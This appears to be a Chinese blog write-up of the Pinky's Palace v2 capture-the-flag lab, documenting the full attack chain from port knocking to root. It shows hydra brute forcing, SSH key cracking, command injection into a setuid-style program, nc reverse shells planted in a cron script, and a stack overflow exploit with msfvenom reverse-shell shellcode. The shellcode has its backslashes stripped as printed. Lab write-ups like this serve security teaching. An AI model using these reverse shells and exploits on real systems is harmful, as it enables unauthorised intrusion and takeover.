pinkyspalace v2靶机详细解答

admin 2025年3月5日21:10:34评论6 views字数 4160阅读13分52秒阅读模式

一、主机发现

arp-scan -l
pinkyspalace v2靶机详细解答

靶机ip为192.168.55.152

二、端口扫描、目录枚举、指纹识别

2.1端口扫描

 nmap -p- 192.168.55.152
pinkyspalace v2靶机详细解答

2.2目录枚举

dirb http://192.168.55.152
pinkyspalace v2靶机详细解答

发现网页采用wordpress

2.3指纹识别

nmap 192.168.55.152 -sV -sC -O --version-all
pinkyspalace v2靶机详细解答

三、进入靶机网页进行信息收集,拿到低权限shell

3.1域名映射

这里根据作者要求,需要进行域名映射

卡莉:

vim /etc/hosts
添加以下内容:
192.168.55.152 pinkydb
pinkyspalace v2靶机详细解答

Windows中host文件在C:WindowsSystem32driversetchost,添加相同内容即可

添加完成后页面可以正常访问

pinkyspalace v2靶机详细解答

点击Passione!

pinkyspalace v2靶机详细解答

发现一个用户名

pinkyspalace v2靶机详细解答

发现一个登陆框

pinkyspalace v2靶机详细解答

尝试弱口令,发现进不去

3.2端口敲门

查看dirb爆破的目录 http://192.168.55.152/secret/,发现存在txt文件

pinkyspalace v2靶机详细解答

发现三个疑似是端口号

pinkyspalace v2靶机详细解答

这三个端口号在namp中没有扫描出来

补充:
端口敲门:服务器的端口在默认情况下是“关着”的,只有按特定顺序访问一系列端口(即敲门),服务器才会临时打开关键端口,比如 SSH 的 22 端口。

一共3个端口,有9中组合,搭配nmap -p-命令尝试端口敲门

export T=pinkydb #定义一个环境变量
for i in {7000,666,8890};do nc -vz $T $i;done #每次将三个端口号的顺序进行修改即可
nmap -p- 192.168.55.152   #查看端口是否开启

经过测试,端口访问顺序为7000,666,8890

pinkyspalace v2靶机详细解答

3.3访问7654端口

尝试访问这几个端口,其中7654端口报错

pinkyspalace v2靶机详细解答

感觉可能是配置不对,尝试将ip改为域名访问

http://pinkydb:7654/
pinkyspalace v2靶机详细解答

成功出现登陆页面

使用 cewl生成对应字典

cewl http://pinkydb > 1.txt
使用cewl工具,针对该站点生成单词,尝试进行弱口令爆破

使用hydra进行弱口令爆破

hydra -L 1.txt -P 1.txt pinkydb -s 7654 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"
命令解释:
-L 1.txt:-L 选项用于指定包含用户名列表的文件。这里 1.txt 文件中应包含一系列用户名,每行一个,hydra 会依次使用这些用户名进行尝试。
-P 1.txt:-P 选项用于指定包含密码列表的文件。同样是 1.txt,意味着该文件中同时包含了要尝试的密码,每行一个,hydra 会将用户名和密码进行组合,逐一尝试登录。
pinkydb:这是目标主机的标识,可以是域名或者 IP 地址。hydra 会尝试连接到这个主机进行破解操作。
-s 7654:-s 选项用于指定目标服务运行的端口号。这里表明目标服务(即 login.php 所在的服务)运行在 7654 端口。
http-post-form:指定要破解的协议和认证方式为 HTTP POST 表单认证。也就是通过向服务器发送 POST 请求来提交表单数据以尝试登录。
"/login.php:user=^USER^&pass=^PASS^:F=Invalid Username or Password"
"/login.php":表示登录表单所在的 URL 路径,hydra 会向该路径发送 POST 请求。
user=^USER^&pass=^PASS^:描述了 POST 请求中表单数据的格式。^USER^ 是用户名占位符,会被 1.txt 中的实际用户名替换;^PASS^ 是密码占位符,会被 1.txt 中的实际密码替换。
F=Invalid Username or Password:F 表示失败标志,当服务器返回的响应中包含 "Invalid Username or Password" 这个字符串时,hydra 会认为本次登录尝试失败;如果不包含该字符串,就会认为登录成功。

成功爆破出账号和密码

pinkyspalace v2靶机详细解答

3.4拿到低权限用户shell

登陆后获得了私钥,但是需要密码

pinkyspalace v2靶机详细解答

使用ssh2john把私钥的hash提取出来

ssh2john id_rsa > id_rsa_hash

然后使用john爆破密码

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash
pinkyspalace v2靶机详细解答

私钥密码为 secretz101

修改私钥权限

chmod 600 id_isa

ssh登陆

ssh -i id_rsa [email protected] -p 4655
pinkyspalace v2靶机详细解答

成功拿下低权限shell

四、提权

4.1靶机信息收集

进入靶机进行信息收集

uname -a
pinkyspalace v2靶机详细解答

发现靶机是32位的Linux系统

进入该用户中发现有一个程序是给Pinky用户发消息的,输入密码发现不能成功发消息

pinkyspalace v2靶机详细解答

发现这个程序所属组是www-data,尝试登陆www-data用户

pinkyspalace v2靶机详细解答

4.2登陆pinky用户

看到登录框的url可能存在文件包含漏洞,尝试一下

pinkyspalace v2靶机详细解答

成功,说明存在文件包含漏洞

pinkyspalace v2靶机详细解答

尝试查看qsub文件

pinkyspalace v2靶机详细解答

通过这一段代码,基本判断出密码是TERM,然后远程代码执行

TERM应该是环境变量,先查看环境变量,然后使用qsub程序试试

pinkyspalace v2靶机详细解答

先在kali本地开启4444端口的监听,然后执行qsub程序进行反弹shell

./qsub '$(nc -e /bin/bash 192.168.55.129 4444)'
密码为xterm-256color
pinkyspalace v2靶机详细解答

成功拿到pinky用户的shell

但是发现权限并不全是pinky用户的

pinkyspalace v2靶机详细解答

使用newgrp回到默认组

pinkyspalace v2靶机详细解答

4.3登陆demon用户

在pinky用户中寻找可写入文件

find / -writable ! -path '/run/*' ! -path '/lib/*' ! -path '/sys/*' ! -path '/proc/*' ! -path '/dev/*' 2>/dev/null
命令解释:
分别用于排除 /run、/lib、/sys、/proc 和 /dev 目录及其子目录下的文件和目录。

找到了一个特殊文件 /usr/local/bin/backup.sh

根据名称感觉是一个备份文件,查看文件权限

pinkyspalace v2靶机详细解答

此文件是demon用户的文件,但是pinky有全部的权限,这一备份文件可能存在定时任务

可以在定时任务中插入语句进行反弹shell

echo 'nc -e /bin/bash 192.168.55.129 6666' >> /usr/local/bin/backup.sh

成功登陆demon用户

pinkyspalace v2靶机详细解答

4.4缓冲区溢出提权

4.4.1溢出前准备阶段

继续搜索可写入文件

pinkyspalace v2靶机详细解答

发现了panel文件

查看面板文件进程

ps -ef | grep panel
pinkyspalace v2靶机详细解答

发现该文件是root权限运行的

查看该文件,发现是二进制文件

pinkyspalace v2靶机详细解答

将文件传输到kali中进行调试

kali中执行:
nc -lvvp 8888 > panel
靶机中执行:
cd /daemon
nc 192.168.55.129 8888 < panel
pinkyspalace v2靶机详细解答

查看端口

netstat -antlp

跟靶机打开的端口是同一个端口

pinkyspalace v2靶机详细解答

关闭程序

pkill -9 panel; pkill -i panel

设置gdb, 让gdb跟踪子进程,再将父进程设置为暂停状态。

set follow-fork-mode child
set detach-on-fork off
run

4.4.2判断溢出

进行溢出

尝试

echo $(python -c "print('A' * 200)") | nc 127.0.0.1 31337
pinkyspalace v2靶机详细解答

发现溢出到了handlecmd()函数中

然后使用 pkill -9 面板;pkill -i panel关闭程序

再继续进行溢出测试

将脏字符数量改为120,发现溢出到??()

pinkyspalace v2靶机详细解答

将脏字符数量改为110,发现没有溢出,确定溢出范围为110-120

pinkyspalace v2靶机详细解答

112时未溢出,113时溢出到main()

pinkyspalace v2靶机详细解答

4.4.3寻找RIP(32位中是EIP,64位中是RIP)

这里需要下载gdb的插件peda

echo $(python -c "print('A' * 112 + 'B' * 4 + 'C' * 4 + 'D' * 4)") | nc 127.0.0.1 31337

RSP中空间较大可以调用完整的shellcode的地址

DDDD刚好位于RIP,也就是120位之后

由于堆栈遵循先进后出,所以是从下往上执行,即先执行RIP然后通过汇编语言跳转到RSP,shellcode在RSP中被执行

pinkyspalace v2靶机详细解答

4.4.4查看寄存器和堆栈

jmpcall
pinkyspalace v2靶机详细解答

由此知道RIP可以跳到rsp执行命令

4.4.5寻找坏字符

经过排除,没有除x00以外的坏字符

4.4.6msf生成shellcode

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.55.129 LPORT=8888 -f python -b "x00" -a x64
pinkyspalace v2靶机详细解答

将msf生成的shellcode和rsp寄存器的地址拼接

由于堆栈遵循先进后出,所以RSP地址需翻转过来,x40x0cxfb 变成xfbx0cx40x00(不够四位需要补x00)

shellcode为119位,RIP溢出在120位以后,所以在shellcode后面加一个空字符x90

echo 'x48x31xc9x48x81xe9xf6xffxffxffx48x8dx05xefxffxffxffx48xbbx3axd3x7bx13x7dxc1xf6x83x48x31x58x27x48x2dxf8xffxffxffxe2xf4x50xfax23x8ax17xc3xa9xe9x3bx8dx74x16x35x56xbex3ax38xd3x59xabxbdx69xc1x02x6bx9bxf2xf5x17xd1xacxe9x10x8bx74x16x17xc2xa8xcbxc5x1dx11x32x25xcexf3xf6xccxb9x40x4bxe4x89x4dxacx58xbax15x3cx0exa9xf6xd0x72x5ax9cx41x2ax89x7fx65x35xd6x7bx13x7dxc1xf6x83x90xfbx0cx40x00' | nc 127.0.0.1 31337
pinkyspalace v2靶机详细解答

成功提权!


原文始发于微信公众号(泷羽Sec-pp502的安全笔记):pinkyspalace v2靶机详细解答

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日21:10:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pinkyspalace v2靶机详细解答https://cn-sec.com/archives/3794810.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息